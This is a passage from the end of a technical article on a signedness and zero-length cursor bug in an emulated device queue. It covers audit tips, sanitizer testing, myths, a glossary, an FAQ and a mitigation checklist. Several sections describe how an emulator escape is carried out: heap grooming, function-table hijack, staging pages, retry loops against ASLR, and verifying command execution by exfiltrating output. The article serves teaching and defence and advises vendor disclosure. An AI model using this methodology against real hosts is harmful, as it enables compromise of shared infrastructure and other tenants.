Buffer.slice(offset, length)-style APIs where a signed offset from script-land reaches pointer arithmetic in C++. The language boundary is a trust boundary too. - Kernel IPC: message queues with read/write cursors shared across trust boundaries.
Testing and audit points
- Grep for cursor/state fields in signed sub-
inttypes (int16_t,short) used as indices or lengths. Each hit is a suspect until its arithmetic is proven bounded. - For every
+=/-=on such a field, list every operand’s provenance. Attacker-influenced anywhere upstream (including inside prior outputs) means the result needs a post-check. - Write the zero/empty test first: store nothing, read nothing, then assert all cursors unchanged. Watch how many codebases fail it.
- Review the drain/consume side with the same suspicion as the store side. Readers hang; writers corrupt. Both directions need the bound.
- Turn on the sanitizers and mean it. A debug build with
-fsanitize=address,undefinedconverts this entire article into a one-line abort message pointing at the exactmemcpy: the negative index trips AddressSanitizer instantly, and thebuf + size - 1withsize = 0is precisely the kind of thing UBSan lives for. Wire it into CI so every commit runs the protocol sequence under sanitizers:
gcc -O0 -g -fsanitize=address,undefined -o vault_test vault.c aes.c -w
./vault_test < corpus/handshake_and_zero_store.bin
If your CI cannot run the device code at all (emulator builds are heavy), extract the queue logic into a host-testable unit the way serious projects do. Untestable parsing code is where these bugs go to retire.
Campaign pacing (what the clock actually looks like)
Nobody detonates in five minutes, and anyone who tells you otherwise is selling a course. Realistic pacing for this class of engagement, measured against live targets of exactly this shape:
| phase | wall time | notes |
|---|---|---|
| Handshake + upload | ~1 min | deterministic; md5-gated, skipped when cached |
| One walk attempt | ~1–3 min | streaming reads, then verdict |
| Miss → in-guest reboot → retry | +~20s | free, no new target |
| Hang → detect (45s silence) | ~2–4 min sunk | instance dead past this point |
| Fresh target + rerun | +~1 min | the only expensive failure |
| Full success (lucky) | ~4 min | walk lands first try, two re-fires |
| Full success (typical) | 15–40 min | a few misses, one hang, one glory |
The lottery math says one attempt in three detonates, but variance is brutal: cold streaks of five misses happen, and each hang burns the whole instance. Budget an hour, bring something to read, and automate everything (resets, log parsing, marker checks) before you start. Humans are for the eureka moments; loops are for machines. The engagement that respects this split finishes the same day. The one that hand-types base64 at 2 AM does not.
Know when to stop, too, because hope is not a strategy: misses mean keep
going (the lottery owes you nothing and pays eventually), but the SAME
failure mode at the SAME stage ten times in a row means your code is
wrong, not your luck. Hangs every single time with zero OF6W lines?
Your anchor math is off. EXCHANGE_FAIL always? Your handshake is
broken, not unlucky. Detonations with no exfil every time? Your wrapper,
not the target. Sort failures by stage before you blame probability;
probability is guilty often, but never of the same thing twice in a row
without help.
- Fuzz the sequence: handshake, plant, zero-store, big-store, drain, reset, repeat. Single-packet corpora will never find step 2.
- Diff-test the model: if a specification (or a reference implementation in a safe language) exists, feed both the same sequences and diff the cursors after every step. The first divergence is either your bug or your misunderstanding, and both are worth their weight.
- Trace one real session end to end before you automate anything: handshake bytes, plant bytes, the zero store, the backward write, the drain. Write down every cursor value at every step (a table, on paper). Automation built on an untraced mental model automates your misconceptions at scale; the table takes an hour and pays for itself the first time the fuzzer disagrees with it.
Common myths
- “We check the size, so we’re safe.” You check one operand. The cursor moves by two.
- “A fuzzer would have caught it.” Only a stateful one that files empty envelopes mid-session. Your coverage-guided fuzzer maximizing line coverage will execute the
size = 0path on day one and learn nothing from it, because the bug is not in the path, it is in the state the path leaves behind. Coverage is blind to cursors. - “Static analysis catches sign bugs.” Sometimes, for direct
int-to-index flows. It struggles exactly where this bug lives: values laundered through crypto, stored, reloaded sessions later, and combined across operations. The analyzer sees three safe statements; the exploit sees one unsafe program. - “Zero-length input is a no-op.” It is a no-op on the data and a full operation on the metadata. The most dangerous request in this article moves zero bytes.
- “Signed vs unsigned is style.” Here it is the difference between a loud abort and a silent backward write into a function table.
- “The crypto protects us.” The crypto was never attacked. It was used as a courier: it delivered attacker-chosen bytes into exactly the right place with a signature of authenticity nobody asked to verify.
- “A hang is just DoS.” A hang that wedges the emulator’s lock is also a destroyed crime scene: no logs, no state, no second chances on that instance. Availability bugs eat forensic evidence for breakfast.
Glossary
- Cursor: an index remembering a position (read/write offset). The protagonist and the villain.
- Signedness bug: treating a value as signed when the logic needs unsigned (or vice versa), so negatives slip past checks built for positives.
- OOB (out-of-bounds): accessing memory outside the intended object. Backward OOB (negative index) hits headers; forward OOB hits neighbors.
- Heap grooming: arranging heap layout by allocating/freeing until the victim object sits where you want it. Gardening, but for exploits.
- MMIO: memory-mapped I/O; how guests poke virtual device registers by reading/writing magic physical addresses.
- DMA: direct memory access; the device reading/writing guest RAM itself, given an address. The exfil truck of this story.
- Ops-table hijack: overwriting a struct of function pointers (plus its argument) so normal code calls your function. No ROP required when the program dials your number itself.
- ASLR slide / lottery: per-boot address randomization; each fresh boot re-deals the heap layout, which is why some attempts just miss and the loop retries.
- Canary: a sacrificial value placed to detect overwrites. Notably absent between our header and our buffer, which is why this chapter exists.
- Oracle: any channel that answers a yes/no question about hidden state (a return count, a timing difference, an error code). The walk is oracle-driven: every read asks “is the signature here yet?”
- PS2 noise: the secondary prompt characters a shell prints while swallowing a heredoc. Your upload transcript will be full of
>characters; learn to love them, they mean bytes are moving. - Heredoc: the shell feature behind that noise (
cat > file <<'EOF', then lines, thenEOF). The delivery truck of this story: half a megabyte of probe rides one into the guest. - Fit check: the guard comparing a request against remaining room (
size > room?). The well-meaning bouncer of this story, foiled by arithmetic it was never taught. - Plant: attacker bytes left behind by an earlier request for a later one to use (the
0x10spill, the fake headers). Farming, but the crop is someone else’s metadata. - Lottery (walk lottery): the per-attempt gamble on heap layout. Fresh boot, fresh slide, fresh odds. Play enough rounds and statistics becomes determinism with extra steps.
- Re-fire: detonating twice more after the first success, because one sample is an anecdote and three is a data set.
- Detonation: the moment hijacked control flow actually fires (the flipped table gets called). Everything before it is preparation; everything after it is consequences.
- Staging page: attacker-visible shared memory where the command string and fake structures are parked before the flip. Real estate is everything: it must be at a predictable address with predictable content.
FAQ
Q: Why not just make everything unsigned? A: It converts this exact bug from silent to loud (wrap to 65520 fails the fit check), which is genuinely valuable. But unsigned alone does not fix logic that subtracts data-derived values; keep the post-check too. Belt, suspenders, and a second pair of pants.
Q: Can’t the padding check just run before the copy?
A: It would still read buf[-1] on empty input. The read is the bug as much as the subtraction. Check size > 0 first, always.
Q: What about r == w? You only ever talk about less-than and greater-than.
A: Good catch, and it completes the trichotomy the code forgot: r < w means “data waiting” (progress), r == w means “drained” (terminate, or move to the next node), and r > w means “impossible” (must abort). The vulnerable loop implements the first two and lets the third fall through into eternity. Every loop you write has exactly as many behaviors as its conditions cover; count them, then count again.
Q: Does the attacker really need to know the crypto key? A: In this scenario, yes for chosen plaintext, and the handshake hands it over by design (the guest picks the session key). Real systems do this more often than designers admit: any “bring your own key” flow gives the attacker a chosen-plaintext oracle for free.
Q: Why does the hang kill the whole emulator instead of just failing? A: The infinite loop runs on the host thread while holding the device mutex. Every later device access queues behind a lock that never unlocks, the event loop stalls, networking dies with it, and the supervisor eventually reaps the container. One bad slide, total loss. Respect the mutex.
Q: How do you verify success without trusting the detonation?
A: Never trust “it ran”. Suffix every command with a random marker (;echo DONE_<rand>), exfiltrate full stdout, and accept only transcripts whose decoded bytes contain the marker. Detonation without verification is a rumor.
Q: What does the hang actually cost? A: One fresh target, every time, plus the minutes already spent. There is no partial credit: the wedged emulator holds its lock forever, the port eventually refuses everything, and no in-guest action (kill, reboot command, watchdog) reaches a host-side infinite loop. Budget hangs like plane tickets: non-refundable, occasionally unavoidable, always worth it when the alternative is going home.
Q: Could seccomp have saved the host? A: It would have shrunk the blast radius (no new processes, no network, no filesystem beyond the images), which turns “total compromise” into “a stuck emulator.” Sandboxing never fixes the bug, it just decides what the bug is allowed to buy. Buy less.
Q: Is the lottery really unavoidable, or just unoptimized?
A: The slide that decides r vs w is dealt by ASLR before your first byte arrives, and no read that could reveal it survives the attempt (any such read IS the hanging call). You can groom everything downstream of the anchor, but the anchor’s own bytes are fate. So: optimize the retry loop (free reboots, fast hang detection at ~45s of walk silence), never the gamble itself.
Q: Would this happen in Rust or Go?
A: The memory corruption would not: safe indexing panics instead of writing backward, which is exactly the “loud failure” unsigned gives you in C. But notice what survives translation: the logic bug (cursor goes negative, state machine accepts it, hang on r > w) is language-independent. A Rust version would abort loudly at the first backward write instead of handing you the heap, and loud is the whole point. Memory safety converts exploits into crashes, and crashes into bug reports, which is the best trade in the industry.
Q: Do the extra checks cost performance? A: One comparison and branch per store on a path that already does AES decryption and DMA. The check costs less than the noise. Anyone citing performance against a bounds check on an I/O path is either benchmarking wrong or selling something. The most expensive operation in this article is the 45 seconds you spend detecting a hang, and no branch predicts that away.
Q: Why int16_t and not plain int? Who chooses 16 bits anymore?
A: Whoever packs the struct. These cursors live in headers shared across trust boundaries (or persisted, or DMA’d), where every byte has a layout reason: wire formats, hardware registers, ABI stability, cache lines. Sixteen bits was plenty when the buffer was 256 bytes; then the buffer grew to 4096 and nobody revisited the cursor. Width rot: the field stays the same size while everything around it scales. Check your own structs for fields that were “plenty” five years ago.
Q: The write needs the header next door, but what if metadata lived elsewhere? A: Then this exact overflow buys much less: separate the headers into their own allocation (or a guard page between metadata and data) and a backward write of 16 bytes lands in padding or unmapped memory, crashing loudly instead of corrupting usefully. Intrusive metadata (headers embedded before buffers) is convenient, fast, and exactly as dangerous as this article demonstrates. External metadata costs one pointer chase and removes the whole primitive class. Price it accordingly.
Q: Found one of these in the wild, exploit or report? A: Report, through the vendor’s security channel, with a reproducer and the patched snippets above attached. Proof of concept ends at demonstrating control in your own lab against your own instance; other people’s tenants are not a lab. Bugs of this class earn real bounties precisely because vendors would rather pay you than host you uninvited.
Mitigation checklist
| Category | Action | Tools |
|---|---|---|
| Types | Use unsigned cursors; widen to 32-bit for math | compiler warnings (-Wconversion), CodeQL |
| Validation | Post-check every computed cursor against [0, bound] | asserts, sanitizers (UBSan, ASan) |
| Input handling | Reject size <= 0 before any data-derived read | unit tests incl. zero/empty |
| Loop safety | Explicit r > w (or equivalent) rejection branch | code review, fuzzing with timeouts |
| Layout | Separate metadata from data buffers | hardening guides, guard pages |
| Testing | Stateful protocol fuzzing, multi-request sequences | libFuzzer harnesses, custom drivers |
| Response | Treat hangs as fatal: reset, never retry in place | watchdogs, exit-code contracts |
References
- CWE-190: Integer Overflow or Wraparound: https://cwe.mitre.org/data/definitions/190.html
- CWE-191: Integer Underflow (Wrap or Wraparound): https://cwe.mitre.org/data/definitions/191.html
- CVE-2015-3456 (VENOM), NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2015-3456
- Google C++ Style Guide on integer types (for the “use unsigned for sizes” habit): https://google.github.io/styleguide/cppguide.html#Integer_Types
Final thoughts
The librarian never made a mistake a human would notice. Every individual filing looked correct: the sizes checked out, the padding verified, the copies landed where the numbers said. The catastrophe was never in any single step, it was in the arithmetic between the steps, in the sixteenth bit nobody reads, in the empty envelope nobody suspects.
Count your cursors’ signs the way you count your exits in a data center: before you need them, out loud, and twice. The emulator that trusts a negative number is already running your code; it just does not know it yet.